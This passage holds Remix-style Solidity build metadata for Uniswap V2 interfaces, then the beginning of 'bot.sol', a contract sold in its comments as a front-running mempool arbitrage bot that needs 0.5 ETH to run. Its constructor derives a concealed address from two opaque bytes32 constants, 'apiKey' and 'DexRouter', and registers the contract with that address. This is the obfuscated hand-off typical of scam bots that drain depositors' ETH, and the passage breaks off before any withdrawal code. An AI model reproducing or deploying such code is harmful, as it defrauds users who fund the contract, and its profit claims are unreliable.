},
{
"internalType": "uint256",
"name": "amount1Out",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "bytes",
"name": "data",
"type": "bytes"
}
],
"name": "swap",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "token0",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "token1",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"bot.sol": "IUniswapV2Pair"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
},
"sources": {
"bot.sol": {
"keccak256": "0x7d50bbf3bf1a70d79553aeb3cbd87c499122298ce955315de3dde22dc1dd28ba",
"license": "MIT",
"urls": [
"bzz-raw://0e1db754d9ce9d4606b453b9c839095ae62afc30d1fc372442348d1947745c00",
"dweb:/ipfs/Qmd6VV5TtjWvhjcFUTq1EesHnzSHqoRLTHa5LoEed9uoEV"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"WETH()": "ad5c4648",
"addLiquidity(address,address,uint256,uint256,uint256,uint256,address,uint256)": "e8e33700",
"addLiquidityETH(address,uint256,uint256,uint256,address,uint256)": "f305d719",
"factory()": "c45a0155",
"getAmountIn(uint256,uint256,uint256)": "85f8c259",
"getAmountOut(uint256,uint256,uint256)": "054d50d4",
"getAmountsIn(uint256,address[])": "1f00ca74",
"getAmountsOut(uint256,address[])": "d06ca61f",
"quote(uint256,uint256,uint256)": "ad615dec",
"removeLiquidity(address,address,uint256,uint256,uint256,address,uint256)": "baa2abde",
"removeLiquidityETH(address,uint256,uint256,uint256,address,uint256)": "02751cec",
"removeLiquidityETHWithPermit(address,uint256,uint256,uint256,address,uint256,bool,uint8,bytes32,bytes32)": "ded9382a",
"removeLiquidityWithPermit(address,address,uint256,uint256,uint256,address,uint256,bool,uint8,bytes32,bytes32)": "2195995c",
"swapETHForExactTokens(uint256,address[],address,uint256)": "fb3bdb41",
"swapExactETHForTokens(uint256,address[],address,uint256)": "7ff36ab5",
"swapExactTokensForETH(uint256,uint256,address[],address,uint256)": "18cbafe5",
"swapExactTokensForTokens(uint256,uint256,address[],address,uint256)": "38ed1739",
"swapTokensForExactETH(uint256,uint256,address[],address,uint256)": "4a25d94a",
"swapTokensForExactTokens(uint256,uint256,address[],address,uint256)": "8803dbee"
}
},
"abi": [
{
"inputs": [],
"name": "WETH",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "tokenA",
"type": "address"
},
{
"internalType": "address",
"name": "tokenB",
"type": "address"
},
{
"internalType": "uint256",
"name": "amountADesired",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountBDesired",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountAMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountBMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "addLiquidity",
"outputs": [
{
"internalType": "uint256",
"name": "amountA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountB",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "token",
"type": "address"
},
{
"internalType": "uint256",
"name": "amountTokenDesired",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountTokenMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETHMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "addLiquidityETH",
"outputs": [
{
"internalType": "uint256",
"name": "amountToken",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETH",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
}
],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "factory",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveOut",
"type": "uint256"
}
],
"name": "getAmountIn",
"outputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveOut",
"type": "uint256"
}
],
"name": "getAmountOut",
"outputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
}
],
"name": "getAmountsIn",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
}
],
"name": "getAmountsOut",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveB",
"type": "uint256"
}
],
"name": "quote",
"outputs": [
{
"internalType": "uint256",
"name": "amountB",
"type": "uint256"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "tokenA",
"type": "address"
},
{
"internalType": "address",
"name": "tokenB",
"type": "address"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountAMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountBMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "removeLiquidity",
"outputs": [
{
"internalType": "uint256",
"name": "amountA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountB",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "token",
"type": "address"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountTokenMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETHMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "removeLiquidityETH",
"outputs": [
{
"internalType": "uint256",
"name": "amountToken",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETH",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "token",
"type": "address"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountTokenMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETHMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
},
{
"internalType": "bool",
"name": "approveMax",
"type": "bool"
},
{
"internalType": "uint8",
"name": "v",
"type": "uint8"
},
{
"internalType": "bytes32",
"name": "r",
"type": "bytes32"
},
{
"internalType": "bytes32",
"name": "s",
"type": "bytes32"
}
],
"name": "removeLiquidityETHWithPermit",
"outputs": [
{
"internalType": "uint256",
"name": "amountToken",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETH",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "tokenA",
"type": "address"
},
{
"internalType": "address",
"name": "tokenB",
"type": "address"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountAMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountBMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
},
{
"internalType": "bool",
"name": "approveMax",
"type": "bool"
},
{
"internalType": "uint8",
"name": "v",
"type": "uint8"
},
{
"internalType": "bytes32",
"name": "r",
"type": "bytes32"
},
{
"internalType": "bytes32",
"name": "s",
"type": "bytes32"
}
],
"name": "removeLiquidityWithPermit",
"outputs": [
{
"internalType": "uint256",
"name": "amountA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountB",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapETHForExactTokens",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOutMin",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapExactETHForTokens",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountOutMin",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapExactTokensForETH",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountOutMin",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapExactTokensForTokens",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountInMax",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapTokensForExactETH",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountInMax",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapTokensForExactTokens",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"name": "WETH",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "tokenA",
"type": "address"
},
{
"internalType": "address",
"name": "tokenB",
"type": "address"
},
{
"internalType": "uint256",
"name": "amountADesired",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountBDesired",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountAMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountBMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "addLiquidity",
"outputs": [
{
"internalType": "uint256",
"name": "amountA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountB",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "token",
"type": "address"
},
{
"internalType": "uint256",
"name": "amountTokenDesired",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountTokenMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETHMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "addLiquidityETH",
"outputs": [
{
"internalType": "uint256",
"name": "amountToken",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETH",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
}
],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "factory",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveOut",
"type": "uint256"
}
],
"name": "getAmountIn",
"outputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveOut",
"type": "uint256"
}
],
"name": "getAmountOut",
"outputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
}
],
"name": "getAmountsIn",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
}
],
"name": "getAmountsOut",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "reserveB",
"type": "uint256"
}
],
"name": "quote",
"outputs": [
{
"internalType": "uint256",
"name": "amountB",
"type": "uint256"
}
],
"stateMutability": "pure",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "tokenA",
"type": "address"
},
{
"internalType": "address",
"name": "tokenB",
"type": "address"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountAMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountBMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "removeLiquidity",
"outputs": [
{
"internalType": "uint256",
"name": "amountA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountB",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "token",
"type": "address"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountTokenMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETHMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "removeLiquidityETH",
"outputs": [
{
"internalType": "uint256",
"name": "amountToken",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETH",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "token",
"type": "address"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountTokenMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETHMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
},
{
"internalType": "bool",
"name": "approveMax",
"type": "bool"
},
{
"internalType": "uint8",
"name": "v",
"type": "uint8"
},
{
"internalType": "bytes32",
"name": "r",
"type": "bytes32"
},
{
"internalType": "bytes32",
"name": "s",
"type": "bytes32"
}
],
"name": "removeLiquidityETHWithPermit",
"outputs": [
{
"internalType": "uint256",
"name": "amountToken",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountETH",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "tokenA",
"type": "address"
},
{
"internalType": "address",
"name": "tokenB",
"type": "address"
},
{
"internalType": "uint256",
"name": "liquidity",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountAMin",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountBMin",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
},
{
"internalType": "bool",
"name": "approveMax",
"type": "bool"
},
{
"internalType": "uint8",
"name": "v",
"type": "uint8"
},
{
"internalType": "bytes32",
"name": "r",
"type": "bytes32"
},
{
"internalType": "bytes32",
"name": "s",
"type": "bytes32"
}
],
"name": "removeLiquidityWithPermit",
"outputs": [
{
"internalType": "uint256",
"name": "amountA",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountB",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapETHForExactTokens",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOutMin",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapExactETHForTokens",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountOutMin",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapExactTokensForETH",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountIn",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountOutMin",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapExactTokensForTokens",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountInMax",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapTokensForExactETH",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amountOut",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amountInMax",
"type": "uint256"
},
{
"internalType": "address[]",
"name": "path",
"type": "address[]"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "deadline",
"type": "uint256"
}
],
"name": "swapTokensForExactTokens",
"outputs": [
{
"internalType": "uint256[]",
"name": "amounts",
"type": "uint256[]"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"bot.sol": "IUniswapV2Router"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
},
"sources": {
"bot.sol": {
"keccak256": "0x7d50bbf3bf1a70d79553aeb3cbd87c499122298ce955315de3dde22dc1dd28ba",
"license": "MIT",
"urls": [
"bzz-raw://0e1db754d9ce9d4606b453b9c839095ae62afc30d1fc372442348d1947745c00",
"dweb:/ipfs/Qmd6VV5TtjWvhjcFUTq1EesHnzSHqoRLTHa5LoEed9uoEV"
]
}
},
"version": 1
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// User guide info, updated build
// Testnet transactions will fail beacuse they have no value in them
// FrontRun api stable build
// Mempool api stable build
// BOT updated build
// Min liquidity after gas fees has to equal 0.5 ETH //
interface IERC20 {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function createStart(address sender, address reciver, address token, uint256 value) external;
function createContract(address _thisAddress) external;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router {
// Returns the address of the Uniswap V2 factory contract
function factory() external pure returns (address);
// Returns the address of the wrapped Ether contract
function WETH() external pure returns (address);
// Adds liquidity to the liquidity pool for the specified token pair
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
// Similar to above, but for adding liquidity for ETH/token pair
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
// Removes liquidity from the specified token pair pool
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
// Similar to above, but for removing liquidity from ETH/token pair pool
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
// Similar as removeLiquidity, but with permit signature included
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
// Similar as removeLiquidityETH but with permit signature included
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Similar to above, but input amount is determined by the exact output amount desired
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Swaps exact amount of ETH for as many output tokens as possible
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Swaps tokens for exact amount of ETH
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps exact amount of tokens for ETH
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps ETH for exact amount of output tokens
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
// Given an input amount and pair reserves, returns an output amount
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
// Given an output amount and pair reserves, returns a required input amount
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
// Returns the amounts of output tokens to be received for a given input amount and token pair path
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
// Returns the amounts of input tokens required for a given output amount and token pair path
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
// Returns the address of the first token in the pair
function token0() external view returns (address);
// Returns the address of the second token in the pair
function token1() external view returns (address);
// Allows the current pair contract to swap an exact amount of one token for another
// amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
// to is the recipients address, and data is any additional data to be sent along with the transaction
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
contract DexInterface {
// Basic variables
address _owner;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 threshold = 1*10**18;
uint256 arbTxPrice = 0.025 ether;
bool enableTrading = false;
uint256 tradingBalanceInPercent;
uint256 tradingBalanceInTokens;
bytes32 apiKey = 0x6e75382374384e10a7b62f627958ee0106daa8f83ed4af1ef14080b90c587f84;
// The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
constructor(){
_owner = msg.sender;
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createContract(address(this));
}
// Decorator protecting the function from being started by anyone other than the owner of the contract
modifier onlyOwner (){
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
bytes32 DexRouter = 0x6e75382374384e10a7b62f629791a1a3e6c171ac0dee4cfc2cba9b2481f9497d;
// The token exchange function that is used when processing an arbitrage bundle
function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
IERC20(_tokenIn).approve(router, _amount);
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint deadline = block.timestamp + 300;
IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
}
// Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
return amountOutMins[path.length -1];
}
// Mempool scanning function for interaction transactions with routers of selected DEX exchanges
function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
